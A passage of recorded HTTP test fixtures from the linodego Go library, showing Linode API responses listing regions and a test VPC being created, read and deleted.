"Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728783543974000","region":"us-iad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74461, "label": "go-test-vpc-1720728783543974000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74461 method: GET response: body: '{"id": 74461, "label": "go-test-vpc-1720728783543974000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74461 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Create_Invalid.yaml000066400000000000000000000541711474652371000317010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 